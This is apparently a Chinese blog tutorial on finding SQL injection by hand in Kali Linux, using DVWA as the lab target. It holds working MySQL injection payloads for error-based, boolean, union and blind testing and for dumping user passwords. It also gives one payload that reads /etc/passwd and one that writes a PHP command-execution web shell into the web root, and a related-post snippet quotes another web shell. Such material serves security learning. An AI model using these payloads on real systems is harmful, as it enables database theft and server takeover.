kali linux之手动漏洞挖掘三(sql注入)
服务器端程序将用户输入作为参数作为查询条件,直接拼写sql语句,并将结果返回给客户端浏览器
如判断登录
select * from users where user='uname' and password='pass'
select * from users where user='name' and password="or"=''
基于报错的检测方法:
' " %
查看代码id那里有两个单引号,再插入一个单引号,带入查询了,就可以构造自定义的sql语句
基于布尔的检测:
1' and '1'='1或1' and '1
1'and'1'='2 或1' and '0
表列数/显示信息位于哪一列:
'order by 3-- #按查询列号排序(-- 注释符)
如果猜测不对会返回报错
猜到第二列没返回,说明在第二列
联合查询:
' union select 1,2--
查到对应信息后,查看db用户-----user() db版本----version() 当前数据库---database()
函数@@datadir--数据库路径 @@hostname--主机名 @@version--数据库版本信息 @@version_compile_os--系统主机版本
查看数据库版本和用户
查看当前数据库
查看数据库路径
mysql数据结构------infomation_schema所有信息都在这个库里面
查看所有的库,和所有的表
' union select table_name,table_schema from information_schema.tables--
统计每个表中的数量
'union select table_schema,count(*) from information_Schema.tables group by table_schema--
查看dvwa库中的表名
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--
查看dvwa表中的所有列
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' and table_name='users'--
查询dvwa表中的user password列的内容
' union select user,password from dvwa.users--
读取文件
' union select null,load_file('/etc/passwd')--
写入文件(写入木马什么的,前提是要有www目录的写权限)
' union select null,"<?php passthru($_GET['cmd']);?>" into dumpfile"/var/www/xxsec.php"--
然后执行命令
如果没有权限的话,可以配合文件包含漏洞,把文件写到tmp目录下,利用文件包含来执行命令
sql盲注
不显示数据库内建的报错信息,报错信息提供关于系统的大量有用信息
当报错信息隐藏了,或者替换为通用的错误提示,sql注入无法根据报错信息判断语句的执行结果,即盲
思路:无法基于报错结果判断,那就基于逻辑真假的不同结果来判断
1' and 1=1-- (结果为真,返回执行了)
1' and 1=2--(结果为假的时候,没有任何返回,说明逻辑语句被执行了)
1' order by 2-- 查询有两个字段
1' union select 1,2-- 联合查询
1' and 1=0 union select null,table_name from information_schema.tables--
1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'--
友情链接 http://www.cnblogs.com/klionsec
http://www.cnblogs.com/l0cm
http://www.cnblogs.com/Anonyaptxxx
http://www.feiyusafe.cn
kali linux之手动漏洞挖掘三(sql注入)的更多相关文章
- kali linux之手动漏洞挖掘二
漏洞挖掘原则/宗旨----所有变量,所有头(cookie中的变量),逐个变量删除 身份认证 常用若口令/基于字典的密码爆破/锁定帐号 信息收集(手机号,身份证,住址信息等等) 密码嗅探 会话sessi ...
- kali linux之手动漏洞挖掘一
默认安装漏洞 phpmyadmin/setup默认安装 ubuntu/debian默认安装php5-cgi phpmyadmin/setup默认安装 使用?-d+allow_url_include%3 ...
- 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含
手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...
- 小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞
手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格 ...
- 小白日记38:kali渗透测试之Web渗透-手动漏洞挖掘(四)-文件上传漏洞
手动漏洞挖掘 文件上传漏洞[经典漏洞,本身为一个功能,根源:对上传文件的过滤机制不严谨] <?php echo shell_exec($_GET['cmd']);?> 直接上传webshe ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- 漏洞重温之sql注入(五)
漏洞重温之sql注入(五) sqli-labs通关之旅 填坑来了! Less-17 首先,17关,我们先查看一下页面,发现网页正中间是一个登录框. 显然,该关卡的注入应该为post型. 直接查看源码. ...
- 漏洞重温之sql注入(六)
漏洞重温之sql注入(六) sqli-labs通关之旅 Less-26 进入第26关,首先我们可以从网页的提示看出本关是get型注入. 我们给页面添加上id参数后直接去查看源码. 需要关注的东西我已经 ...
- 漏洞重温之sql注入(七)
漏洞重温之sql注入(七) sqli-labs通关之旅 Less-31 首先,进入31关,我们先添加上id参数. 然后,我们查看源码. 我们门可以看到,index页面源码其实很简单,网页也没有对我们的 ...
随机推荐
- List去重与排序
最简单的方法:利用Where一句话去重 pointLst = pointLst.Where((x, i) => pointLst.FindIndex(z => z.POINT_ID == ...
- python--numpy学习(一)
NumPy 部分功能如下: ndarray,一个具有矢量运算符和复杂广播能力的快速节省空间的多维数组 用于对数组数据进行快速运算的标准数学函数 用于读写磁盘数据的工具以及用于操作内存映射文件的工具 线 ...
- 每天一个Linux命令 - 【groupadd】
[命令]:grouadd [语法]:groupadd [选项] [参数] [功能介绍]:groupadd 命令勇于创建新的工作组,新工作组的信息将被添加的系统文件中. [选项说明]: -g < ...
- Vulkan Tutorial 10 图形管线
操作系统:Windows8.1 显卡:Nivida GTX965M 开发工具:Visual Studio 2017 Introduction 通过接下来的章节,我们将会开启有关图形管线的话题,通过对图 ...
- 【原】Coursera—Andrew Ng机器学习—课程笔记 Lecture 7 Regularization 正则化
Lecture7 Regularization 正则化 7.1 过拟合问题 The Problem of Overfitting7.2 代价函数 Cost Function7.3 正则化线性回归 R ...
- Python函数定义及传参方式
主要内容: 1.函数初识 2.函数传参方式 (1)位置参数 (2)默认参数 (3)关键参数 (4)非固定传参 一.函数初识 1. ...
- SpringMVC总结三:请求Controller返回视图类型以及请求方式、参数介绍
视图解析,请求Controller返回的视图类型: @Controller @RequestMapping("/test") public class TestController ...
- 02-nginx信号量
刚才完了nginx的编译,nginx的编译还是挺简单的.控制nginx:重启.关闭.只有孤零零的一个二进制文件nginx 通过信号来控制它,Linux操作系统进程与进程之间通过信号来通信.荷兰的一位计 ...
- SpringBoot:阿里数据源配置、JPA显示sql语句、格式化JPA查询的sql语句
1 数据源和JPA配置 1.1 显示sql配置和格式化sql配置 者两个配置都是属于hibernate的配置,但是springdatajpa给我们简化了:所有hibernate的配置都在jpa下面的p ...
- GCC 常见参数配置
博客转载自:https://www.cnblogs.com/zhangsir6/articles/2956798.html 简介gcc and g++现在是gnu中最主要和最流行的c & c+ ...